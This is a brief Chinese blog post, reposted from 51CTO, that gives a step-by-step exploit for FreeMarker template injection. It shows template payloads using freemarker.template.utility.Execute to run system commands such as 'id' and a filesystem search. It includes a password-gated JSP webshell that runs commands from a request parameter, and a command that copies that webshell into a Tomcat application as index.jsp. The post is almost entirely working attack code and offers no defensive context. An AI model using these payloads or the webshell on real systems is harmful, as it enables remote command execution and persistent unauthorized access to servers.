1、尋找可以上傳FTL模闆的漏洞點
2、嘗試注入FTL模闆
<code><#assign test="freemarker.template.utility.Execute"?new()></code>
<code>${test("id")}</code>
3、查找上傳的FTL檔案儲存路徑
<code><#assign test="freemarker.template.utility.Execute"?new()></code>
<code>${test("find / -name *.ftl")}</code>
4、擷取WebShell
<code># webshell.ftl</code>
<code><%if ("023".equals(request.getParameter("pwd")))</code>
<code>{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();</code>
<code>int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%></code>
<code># main.ftl</code>
<code><#assign test="freemarker.template.utility.Execute"?new()></code>
<code>${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl </code>
<code>/home/bmpapp/tomcat/webapps/default.war/index.jsp")}</code>
5、通路index.jsp
本文轉自fatshi51CTO部落格,原文連結:http://blog.51cto.com/duallay/1936931 ,如需轉載請自行聯系原作者